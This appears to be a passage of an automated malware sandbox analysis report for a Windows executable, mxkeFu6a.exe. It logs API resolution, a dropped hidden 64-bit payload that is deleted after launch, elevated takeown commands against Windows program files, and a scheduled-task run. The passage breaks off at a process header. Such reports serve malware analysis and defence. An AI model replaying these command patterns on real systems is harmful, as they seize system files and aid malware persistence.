0

»

Category	Operation	Information	Count	Logfile
Module	Load	module_name = KERNEL32.DLL, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetEvent, address_out = 0x75efec50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WaitForSingleObject, address_out = 0x75efeca0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeviceIoControl, address_out = 0x75ea1170	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DuplicateHandle, address_out = 0x75efeac0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FormatMessageW, address_out = 0x75ea4be0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateEventW, address_out = 0x75efeb30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateProcessW, address_out = 0x75ea4610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExpandEnvironmentStringsW, address_out = 0x75ea4a40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDriveTypeW, address_out = 0x75efeed0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetSystemDirectoryW, address_out = 0x75ea5490	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeleteFileW, address_out = 0x75efed40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadErrorMode, address_out = 0x75ea6520	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapSize, address_out = 0x77c0a790	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LCMapStringW, address_out = 0x75ea5a60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStringTypeW, address_out = 0x75ea53b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TerminateThread, address_out = 0x75ea6800	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = OpenProcess, address_out = 0x75ea5cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetVersion, address_out = 0x75ea56c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateFileW, address_out = 0x75efed10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FindResourceW, address_out = 0x75ea4aa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SizeofResource, address_out = 0x75ea6740	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseHandle, address_out = 0x75efeab0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetLastError, address_out = 0x75ea4f00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadResource, address_out = 0x75ea5b00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLastError, address_out = 0x75ea5010	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcess, address_out = 0x75efea10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LockResource, address_out = 0x75ea5bc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCommandLineW, address_out = 0x75ea4cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleHandleW, address_out = 0x75ea50d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadLibraryW, address_out = 0x75ea5ae0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStdHandle, address_out = 0x75ea5330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LocalFree, address_out = 0x75ea5b40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LocalAlloc, address_out = 0x75ea5b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetProcAddress, address_out = 0x75ea51b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleFileNameW, address_out = 0x75ea5090	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleScreenBufferInfo, address_out = 0x75eff5a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetFileType, address_out = 0x75efef60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = OutputDebugStringW, address_out = 0x75ea5d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadConsoleW, address_out = 0x75eff4c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WriteConsoleW, address_out = 0x75eff500	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetFilePointerEx, address_out = 0x75eff130	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EnterCriticalSection, address_out = 0x77bfb2d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LeaveCriticalSection, address_out = 0x77bfb250	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetStdHandle, address_out = 0x75ea6620	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapAlloc, address_out = 0x77bf2dc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EncodePointer, address_out = 0x77c129e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DecodePointer, address_out = 0x77c11ec0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExitProcess, address_out = 0x75ea3cb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleHandleExW, address_out = 0x75ea5110	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = MultiByteToWideChar, address_out = 0x75ea5c40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WideCharToMultiByte, address_out = 0x75ea6b10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapFree, address_out = 0x75ea57f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleMode, address_out = 0x75eff450	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadConsoleInputA, address_out = 0x75eff4a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleMode, address_out = 0x75eff4e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThread, address_out = 0x75ea46b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentThreadId, address_out = 0x75ea8820	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExitThread, address_out = 0x77c16390	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadLibraryExW, address_out = 0x75ea5ac0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeleteCriticalSection, address_out = 0x77bdfb90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlushFileBuffers, address_out = 0x75efee70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WriteFile, address_out = 0x75eff180	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleCP, address_out = 0x75eff440	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsProcessorFeaturePresent, address_out = 0x75ea5960	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadFile, address_out = 0x75eff090	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStartupInfoW, address_out = 0x75ea5320	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = UnhandledExceptionFilter, address_out = 0x75ea68d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetUnhandledExceptionFilter, address_out = 0x75ea6720	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeCriticalSectionAndSpinCount, address_out = 0x75efebb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = Sleep, address_out = 0x75ea6760	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TerminateProcess, address_out = 0x75ea67e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsAlloc, address_out = 0x75ea6820	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsGetValue, address_out = 0x75ea6850	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsSetValue, address_out = 0x75ea6870	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsFree, address_out = 0x75ea6830	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsValidCodePage, address_out = 0x75ea59c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetACP, address_out = 0x75ea4ca0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetOEMCP, address_out = 0x75ea5160	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCPInfo, address_out = 0x75ea4d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetProcessHeap, address_out = 0x75ea51f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = RtlUnwind, address_out = 0x75ea7c10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = QueryPerformanceCounter, address_out = 0x75ea5da0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcessId, address_out = 0x75efea20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetSystemTimeAsFileTime, address_out = 0x75ea5530	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetEnvironmentStringsW, address_out = 0x75ea4eb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FreeEnvironmentStringsW, address_out = 0x75ea4c20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapReAlloc, address_out = 0x77bef630	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetEndOfFile, address_out = 0x75eff0e0	1	Fn
Module	Load	module_name = ADVAPI32.dll, base_address = 0x761b0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = GetTokenInformation, address_out = 0x761cee90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegDeleteKeyW, address_out = 0x761cf910	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = LookupPrivilegeValueW, address_out = 0x761c8c80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = AdjustTokenPrivileges, address_out = 0x761cffa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = OpenProcessToken, address_out = 0x761cefb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegSetValueExW, address_out = 0x761cf530	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegQueryValueExW, address_out = 0x761ce5a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegOpenKeyExW, address_out = 0x761ce580	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegOpenKeyW, address_out = 0x761cf460	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegCreateKeyW, address_out = 0x761cf9b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegCloseKey, address_out = 0x761ced60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = LookupAccountSidW, address_out = 0x761cf100	1	Fn
Module	Load	module_name = COMDLG32.dll, base_address = 0x750d0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\comdlg32.dll, function = PrintDlgW, address_out = 0x75106b00	1	Fn
Module	Load	module_name = GDI32.dll, base_address = 0x75b70000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = StartPage, address_out = 0x75b747e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = EndDoc, address_out = 0x75b74f70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = StartDocW, address_out = 0x75b74ef0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = SetMapMode, address_out = 0x75b73c10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = GetDeviceCaps, address_out = 0x75b75c60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = EndPage, address_out = 0x75b74810	1	Fn
Module	Load	module_name = USER32.dll, base_address = 0x74b70000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SendMessageW, address_out = 0x74b807d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = DialogBoxIndirectParamW, address_out = 0x74b8e6a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = EndDialog, address_out = 0x74b79080	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = LoadCursorW, address_out = 0x74b9ab40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = InflateRect, address_out = 0x74b83570	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = GetSysColorBrush, address_out = 0x74ba09b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SetCursor, address_out = 0x74ba2bec	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SetWindowTextW, address_out = 0x74b7d0c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = GetDlgItem, address_out = 0x74b793b0	1	Fn
Module	Load	module_name = VERSION.dll, base_address = 0x744a0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = GetFileVersionInfoW, address_out = 0x744a1590	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = VerQueryValueW, address_out = 0x744a1510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = GetFileVersionInfoSizeW, address_out = 0x744a1570	1	Fn
System	Get Time	type = System Time, time = 2019-04-17 10:42:20 (UTC)	1	Fn
System	Get Time	type = Performance Ctr, time = 29283952811	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsAlloc, address_out = 0x75ea4ae0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsFree, address_out = 0x75ea4b00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsGetValue, address_out = 0x75ea4b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsSetValue, address_out = 0x75ea4b40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeCriticalSectionEx, address_out = 0x75efebc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateEventExW, address_out = 0x75efeb20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateSemaphoreExW, address_out = 0x75efeb80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadStackGuarantee, address_out = 0x75ea6700	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThreadpoolTimer, address_out = 0x75ea6d30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadpoolTimer, address_out = 0x77bfd7c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WaitForThreadpoolTimerCallbacks, address_out = 0x77bfb840	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseThreadpoolTimer, address_out = 0x77bfb740	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThreadpoolWait, address_out = 0x75ea6d70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadpoolWait, address_out = 0x77bfc0b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseThreadpoolWait, address_out = 0x77bfbe10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlushProcessWriteBuffers, address_out = 0x77c22b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FreeLibraryWhenCallbackReturns, address_out = 0x77c18e50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcessorNumber, address_out = 0x77c152f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLogicalProcessorInformation, address_out = 0x75ea71b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateSymbolicLinkW, address_out = 0x75ea4510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetDefaultDllDirectories, address_out = 0x7500d900	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EnumSystemLocalesEx, address_out = 0x75ea49a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CompareStringEx, address_out = 0x75ea7050	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDateFormatEx, address_out = 0x75ea7760	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLocaleInfoEx, address_out = 0x75ea7190	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetTimeFormatEx, address_out = 0x75ea7780	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetUserDefaultLocaleName, address_out = 0x75ea72c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsValidLocaleName, address_out = 0x75ea7440	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LCMapStringEx, address_out = 0x75ea7480	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentPackageId, address_out = 0x74f9e260	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetTickCount64, address_out = 0x75ea0db0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetFileInformationByHandleExW, address_out = 0x0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetFileInformationByHandleW, address_out = 0x0	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Get Info	filename = STD_INPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_ERROR_HANDLE	1	Fn
File	Get Info	filename = STD_ERROR_HANDLE, type = file_type	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\mxkefu6a.exe, file_name_orig = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, size = 260	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsWow64Process, address_out = 0x75ea5a20	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\mxkefu6a.exe, file_name_orig = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, size = 260	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, type = file_type	1	Fn
File	Write	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, size = 225280	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, size = 1168	1	Fn Data
Process	Create	process_name = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, os_pid = 0x13e0, show_window = SW_HIDE	1	Fn
File	Delete	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe	1	Fn
Module	Get Handle	module_name = mscoree.dll	1	Fn

Process #174: takeown.exe

0

»

Information	Value
ID	#174
File Name	c:\windows\syswow64\takeown.exe
Command Line	takeown /F "C:\Program Files\Windows Security\BrowserCore\en-US\BrowserCore.exe.mui"
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:53, Reason: Child Process
Unmonitor	End Time: 00:03:58, Reason: Self Terminated
Monitor Duration	00:00:05
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x10a8
Parent PID	0x13fc (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x F78 0x 570

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
takeown.exe	0x00870000	0x00880FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #175: cmd.exe

52

0

»

Information	Value
ID	#175
File Name	c:\windows\syswow64\cmd.exe
Command Line	"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:53, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:32

OS Process Information

»

Information	Value
PID	0x1100
Parent PID	0x11dc (c:\windows\syswow64\wscript.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1364 0x 384

Threads

Thread 0x1364

52

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 197, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\schtasks.exe, os_pid = 0x1350, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data

Process #176: takeown.exe

0

»

Information	Value
ID	#176
File Name	c:\windows\syswow64\takeown.exe
Command Line	takeown /F "C:\Program Files\Windows Mail\wabmig.exe"
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:54, Reason: Child Process
Unmonitor	End Time: 00:03:58, Reason: Self Terminated
Monitor Duration	00:00:04
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x490
Parent PID	0x13c4 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 13BC 0x EE8

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
takeown.exe	0x00870000	0x00880FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #178: mxkefu6a64.exe

2717

0

»

Information	Value
